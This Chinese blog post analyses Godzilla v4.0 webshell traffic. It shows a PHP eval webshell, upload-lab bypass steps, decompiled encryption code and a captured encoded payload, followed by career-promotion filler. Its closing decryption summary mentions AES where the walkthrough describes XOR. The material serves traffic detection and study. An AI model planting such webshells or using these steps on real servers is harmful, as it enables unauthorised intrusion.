攻击工具分析丨哥斯拉v4.0流量解密及特征流量提取

介绍

哥斯拉是一款webshell权限管理工具,由java语言开发。它的特点有:全部类型的shell能绕过市面大部分的静态查杀、流量加密能绕过过市面绝大部分的流量Waf、Godzilla自带的插件是冰蝎、蚁剑不能比拟的。它能实现的功能除了传统的命令执行、文件管理、数据库管理之外,根据shell类型的不同还包括了:MSF联动、绕过OpenBasedir、ZIP压缩、ZIP解压、代码执行、绕过 DisableFunctions、Mimikatz、读取服务器 FileZilla Navicat Sqlyog Winscp XMangager 的配置信息以及密码、虚拟终端 可以用netcat连接 、Windows权限提升 (2012-2019烂土豆)、读取服务器 谷歌 IE 火狐 浏览器保存的账号密码、Windows权限提升烂土豆的C#版本 甜土豆、支持 哥斯拉 冰蝎 菜刀 ReGeorg 的内存shell 并且支持卸载、屏幕截图、Servlet管理 Servlet卸载、内存加载Jar 将Jar加载到 SystemClassLoader。

4.0相对以前的版本,增加了C#, PHP, ASP类型的eval payload,加密流程也进行了升级。提供了更多的加密器。界面也更简洁好看,功能全面好用。

安装

项目地址:Releases · BeichenDream/Godzilla · GitHub

下载.jar 文件。

运行

java -jar godzilla.jar

靶场攻击

php搭建的网站和jsp搭建网站:
apache 服务器一般使用PHP搭建。tomcat 服务器一般使用jsp搭建。

木马是要在服务器上自动执行,执行脚本,所以木马格式要与服务器的语言保持一致。比如php的网站,要用php的木马。

访问网站index.php,可以看出是php网站,生成php的马

使用upload的靶场

docker search upload-labs
docker image pull c0ny1/upload-labs
docker run -d -p 80:8080 c0ny1/upload-labs

使用哥斯拉生成一个木马

后续的实验,都会以该木马为例子。会分析PHP_EVAL_XOR_BASE64的加密方式

将哥斯拉生成的木马上传到靶场

挑一个靶场环境,比如第一个。burp拦截,改包,改成.php再发送。

将生成的木马shell.php 成功上传到目标主机。

哥斯拉连接

目标地址:http://ip:8080/upload/shell.php

反编译获得软件源码

JD-GUI 反编译下载工具

JD-GUI for Mac Free Download

M1 系统报错:

右键JD-GUI,显示包内容

进入Contents/MacOS文件夹,打开universalJavaApplicationStub.sh文件,使用新版的文件替换,新版文件内容可以在如下地址复制

https://raw.githubusercontent.com/tofi86/universalJavaApplicationStub/master/src/universalJavaApplicationStub

双击打开软件,将需要反编译的jar包拖到软件界面中

选中全部文件,点击File-Save All Sources保存反编译完的源码,选择保存路径

哥斯拉加密分析

全套的攻击流程

  1. 在客户端生成shell,生成shell的时候可以设置参数,包括:密码、密钥、有效载荷、加密器
    • 密码:Post请求中的参数名称(本次实验的密码为passwd),以及用于和密钥一起进行加密运算。

    • 密钥:用于对请求数据进行加密,不过加密过程中并非直接使用密钥明文,而是计算密钥的md5值,然后取其16用于加密过程(本次实验的密钥为keymd,md5值为:083c7c062cb29c75499967759dcd2423)
    • 有效载荷分为ASP、java、php、c#四种类型的payload
    • 加密器分为base64和raw、evalbase64三大类。
    • 扰乱数据:用于自定义HTTP请求头,以及在最终的请求数据前后额外再追加一些扰乱数据,进一步降低流量的特征。
  1. 生成php(文件名可自定义,根据选择的有效载荷不同,可以有jsp、php、aspx等文件格式),该shell.php需要上传到攻击的目标主机上。
    • 这个文件,会出现在数据包的POST请求中。
    • 该文件会将密码、密钥的md5值前16位明文写入。
    • 该文件的实现功能还有:将密码和密钥进行拼接,然后进行md5的计算。一共32位。服务器端返回数据的时候,会进行拼接。即服务器端返回数据 = md5前16位+加密数据+md5后16位。(加密数据可以通过对服务器端的解密算法进行解密)
  2. 哥斯拉客户端进行连接
    • URL是目标主机上的php
    • 请求配置的参数,可以添加冗余数据,该冗余数据会在数据的正式内容的前后添加进去。
  3. 连接成功后,进入shell便可以进行操作。

生成的shell

以PHP_EVAL_XOR_BASE64的加密方式为例。生成的木马shell.php内容为

<?php
eval($_POST["passwd"]);

它的工作原理是,存在一个变量“passwd”,“passwd”的取值为http的post方式。web服务器对“passwd“取值后,然后通过eval()函数执行“passwd”里面的内容。比如说,将该shell.php的文件传入站点,以POST方式传入passwd=phpinfo();。则页面会显示phpinfo的信息。

该变量“passwd”,是最开始生成shell,自己设置的密码。

抓包分析-查看“测试连接”操作会产生的数据包

设置代理,用burpsuite拦截,查看产生的数据包

会产生三个数据包。并且会设置PHPSESSID。

从数据包中可以发现。request中发送的数据包,是passwd=xxxx 的形式。根据生成木马shell.php中的内容可知。web服务器对“passwd“取值后,然后通过eval()函数执行“passwd”里面的内容。即实际操作内容是passwd后面一大串加密过的字符。

对第一个数据包进行分析追溯

连接时,功能代码部分在core/shell/ShellEntity.java 找到initShellOpertion()函数

该方法首先初始化一个Http对象赋值给ShellEntity对象的http成员变量(每个ShellEntity对象都有自己的http成员变量, 用于各ShellEntity的Http请求), 然后初始化payloadModel 和 cryptionModel 对象。

运行的时候,会调用init方法进行初始化。以及调用了test函数,对状态进行了判断。所以进一步分析这两个函数。

因为代码是反编译过来的,所以不能直接用ctrl定位到方法的定义,需要手动去找。

init方法(路径shells/cryptions/phpXor/PhpEvalXor.java

init中的变量ShellEntity shellContext,为连接信息。this.shell = context;将webshell配置界面修改的内容同步到shellContext对象上。

/*     */   public ShellEntity(boolean useCache) {
/*  55 */     this.url = "";
/*  56 */     this.password = "";
/*  57 */     this.secretKey = "";
/*  58 */     this.payload = "";
/*  59 */     this.cryption = "";
/*  60 */     this.remark = "";
/*  61 */     this.encoding = "";
/*  62 */     this.headers = new HashMap<>();
/*  63 */     this.reqLeft = "";
/*  64 */     this.reqRight =
"";
/*  65 */     this.connTimeout = 60000;
/*  66 */     this.readTimeout = 60000;
/*  67 */     this.proxyType = "";
/*  68 */     this.proxyHost = "";
/*  69 */     this.proxyPort = 8888;
/*  70 */     this.id = "";
/*  71 */     this.useCache = useCache;
/*     */   }

this.http = this.shell.getHttp(); 其中getHttp()函数获取到传入该方法的ShellEntity对象的http成员变量。

getHttp()函数(路径core/shell/ShellEntity.java

/*     */   public Http getHttp() {
/* 120 */     return this.http;
/*     */   }

this.key 这一行,是逐字节的获取密钥key。

this.pass 这一行,是逐字节的获取密码password。

String findStrMd5 这一行,是将密钥key和password加起来,已经进行md5的计算。

this.findStrLeft 这一行,是获取md5的前16位(生成的md5一共有32位)

this.findStrRight 这一行,是获取md5的后16位(生成的md5一共有32位)

this.evalContent 这一行,是进行了一套编码过程。经过了base64和url的编码处理和密钥的处理。

需要传入密钥、密钥md5的前16位,然后再放入eval函数中"<?php"

/*     */   public String generateEvalContent() {
/* 112 */     String eval = (new String(Generate.GenerateShellLoder(this.shell.getSecretKey(), functions.md5(this.shell.getSecretKey()).substring(0, 16), false))).replace("<?php", "");
/* 113 */     eval = functions.base64EncodeToString(eval.getBytes());
/* 114 */     eval = (new StringBuffer(eval)).reverse().toString();
/* 115 */     eval = String.format("eval(base64_decode(strrev(urldecode('%s'))));", new Object[] { URLEncoder.encode(eval) });
/* 116 */     eval = URLEncoder.encode(eval);
/* 117 */     return eval;
/*     */   }

获取到http成员变量后, 因为该http成员变量有ShellEntity对象的相关信息, 包括连接url、代理、password、secretKey等内容, 即保存有对应的webshell配置信息, 因此可以直接对相关的webshell发起请求。通过this.http.sendHttpResponse(this.payload);发送了请求。 也就是第一个数据包。

对2、3数据包进行追溯(2、3数据包内容一样)

test方法。test()函数 是一个布尔型的。测试成功后,会返回true。if函数顺利运行,连接成功。

/*     */   public boolean test() {
/* 222 */     ReqParameter parameter = new ReqParameter();
/* 223 */     byte[] result = evalFunc(null, "test", parameter);
/* 224 */     String codeString = new String(result);
/* 225 */     if (codeString.trim().equals("ok")) {
/* 226 */       this.isAlive = true;
/* 227 */       return true;
/*     */     }
/* 229 */     Log.error(codeString);
/* 230 */     return false;
/*     */   }

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

test()的执行过程为:调用了evalFunc函数。该函数将数据POST给服务器,并获得服务器的响应。

byte[] result = evalFunc(null, "test", parameter); // 获得服务器的响应

将服务器的返回结果格式修改后,与ok对比,判断为ok则连接成功。

String codeString = new String(result);
if (codeString.trim().equals("ok")) {   // 对字符串进行格式修改,使之没有空格。服务器返回ok的话,则连接成功

return true;

}

说明在evalFunc函数执行过程中,已经得到了明文的服务器返回数据,因此服务器返回报文的解密过程肯定是在evalFunc函数中。

查看evalFunc 函数(路径shells/payloads/php/PhpShell.java),通过this.http.sendHttpResponse(data).getResult();发送了请求数据包,也就是第2、3个数据包。

/*     */   public byte[] evalFunc(String className, String funcName, ReqParameter parameter) {
/* 100 */     fillParameter(className, funcName, parameter);
/* 101 */     byte[] data = parameter.formatEx();
/* 102 */     if (this.gzipDecodeMagic == 1) {
/* 103 */       data = functions.gzipE(data);
/*     */     }
/*     */    
/* 106 */     byte[] result = this.http.sendHttpResponse(data).getResult();
/* 107 */     if ((this.gzipEncodeMagic == -1 || this.gzipEncodeMagic == 1) && functions.isGzipStream(result)) {
/* 108 */       result = functions.gzipD(result);
/*     */     }
/* 110 */     return result;
/*     */   }
/*     */

对sendHttpResponse相关的数据包请求方法进行分析

代码路径:util/http/Http.java

/*     */   public HttpResponse sendHttpResponse(Map<String, String> header, byte[] requestData, int connTimeOut, int readTimeOut) {
/*  84 */     requestData = this.shellContext.getCryptionModule().encode(requestData);
/*     */    
/*  86 */     String left = this.shellContext.getReqLeft();
/*  87 */     String right = this.shellContext.getReqRight();
/*  88 */     if (this.shellContext.isSendLRReqData()) {
/* 104 */       byte[] leftData = left.getBytes();
/* 105 */       byte[] rightData = right.getBytes();
/* 106 */       requestData = (byte[])functions.concatArrays(functions.concatArrays(leftData, 0, ((leftData.length > 0) ? leftData.length : 1) - 1, requestData, 0, requestData.length - 1), 0, leftData.length + requestData.length - 1, rightData, 0, ((rightData.length > 0) ? rightData.length : 1) - 1);
/*     */     }
/*     */    
/* 109 */     return SendHttpConn(this.shellContext.getUrl(), this.requestMethod, header, requestData, connTimeOut, readTimeOut, this.proxy);
/*     */   }

该段代码调用了getCryptionModule()对请求数据进行了加密,后面对数据部分进行了剥离,删除了加在真实数据左右两边的冗杂数据(shell设定时添加的多余数据)

加密函数分析

encode路径shells/cryptions/phpXor/PhpEvalXor.java

/*     */   public byte[] encode(byte[] data) {
/*     */     try {
/*  57 */       return E(data);
/*  58 */     } catch (Exception e) {
/*  59 */       Log.error(e);
/*  60 */       return null;
/*     */     }
/*     */   }

/*     */   public byte[] E(byte[] cs) {
/*  87 */     int len = cs.length;
/*  88 */     for (int i = 0; i < len; i++) {
/*  89 */       cs[i] = (byte)(cs[i] ^ this.key[i + 1 & 0xF]);
/*     */     }
/*  91 */     return (String.format("%s=%s&", new Object[] { this.pass, this.evalContent }) + this.shell.getSecretKey() + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
/*     */   }

evalContent的内容是:

/*     */   public String generateEvalContent() {
/* 112 */     String eval = (new String(Generate.GenerateShellLoder(this.shell.getSecretKey(), functions.md5(this.shell.getSecretKey()).substring(0, 16), false))).replace("<?php", "");
/* 113 */     eval = functions.base64EncodeToString(eval.getBytes());
/* 114 */     eval = (new StringBuffer(eval)).reverse().toString();
/* 115 */     eval = String.format("eval(base64_decode(strrev(urldecode('%s'))));", new Object[] { URLEncoder.encode(eval) });
/* 116 */     eval = URLEncoder.encode(eval);
/* 117 */     return eval;
/*     */   }

所以最终发送的数据包是拼接的,内容是:password密码=evalContent + 密钥key + = + 对要发送的数据先base64编码,再进行异或运算,再url编码

密码和密钥都是明文传输的,”=“ 也是明文传输

其中evalContent的内容格式是:

  1. 先在GenerateShellloder中寻找<?php并用" "替换掉,也就是删除"<?php"的功能,
  2. 然后逐字节获取eval的内容进行base64编码后再转换为string类型的。
  3. 对eval先进行encode函数加密(按位异或),再进行url编码,得到的数据放入到格式eval(base64_decode(strrev(urldecode('%s'))));中,%s为要填入数据的位置。
  4. 将第3步获得的数据,最终进行encode函数加密(按位异或),再进行url编码。最终得到的是evalContent

最后数据包的内容,根据evalFunc可以发现,在数据包发送出去之后,还进行了gzip的压缩(路径 shells/payloads/php/PhpShell.java)。所以要先对数据进行gzip解压缩,再所有数据进行解密

/*     */   public byte[] evalFunc(String className, String funcName, ReqParameter parameter) {
/* 100 */     fillParameter(className, funcName, parameter);
/* 101 */     byte[] data = parameter.formatEx();
/* 102 */     if (this.gzipDecodeMagic == 1) {
/* 103 */       data = functions.gzipE(data);
/*     */     }
/*     */    
/* 106 */     byte[] result = this.http.sendHttpResponse(data).getResult();
/* 107 */     if ((this.gzipEncodeMagic == -1 || this.gzipEncodeMagic == 1) && functions.isGzipStream(result)) {
/* 108 */       result = functions.gzipD(result);
/*     */     }
/* 110 */     return result;
/*     */   }
/*     */

数据包:

passwd=eval%28base64_decode%28strrev%28urldecode%28%27%253DoQD9pQD9BCIgAiCN0HIgACIgACIgoQD7kSeltGJsEGdhRGJoUGZvNmbl1TXl1WYORWYvxWehBHJb50TJN1UFN1XkACIgACIgACIgACIgoQD7lSZzxWYm1TPhkiIvZmbJN3YpNXYCRXZnJCLhRXYkRCKz9GcyR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VWCJoQD9BCIgACIgACIK0wOpkXZrRCLkF2bslXYwRCKlR2bj5WZ9QWYvxWehBHJgACIgACIgACIgACIK0wepU2csFmZ90TPpIybm5WSzNWazFmQ0V2ZiwCZh9Gb5FGckgycvBnc0NHKgYWagACIgACIgAiCNsTK5V2akwSXl1WYORWYvxWehBHJb50TJN1UFN1XkgSZk92YuVWPkF2bslXYwRCIgACIgACIgoQD7lSKdVWbh5EZh9Gb5FGckslTPl0UTV0UfRCK0V2czlGKgYWagACIgoQD7kSeltGJskSXzNXYwRyWUN1TQ9FJoUGZvNWZk9FN2U2chJGKlR2bj5WZ9EGdhRGJgACIgoQD7lSKdN3chBHJbR1UPB1XkgCdlN3cphCImlmCNszJ1czY5IjYjJjNwM2NjNDOwcSP5V2akoQD7cCZh9Gb5FGcn0TZtFmTkF2bslXYwRiCNszJk1Welt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&keymd=VVYXXwxUeFMOBzA9Yzc1RF1AFw%3D%3D

最终解密流程:

计算出 md5 (pass + key), 对响应包截取该md5后的前16位以及后16位
对截取后的响应包内容进行 base64解码 +  aes解密  + gzip解压缩

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

  • 2023届全国高校毕业生预计达到1158万人,就业形势严峻;
  • 国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。 

网络安全行业特点

1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。 

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取 

  • 26
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值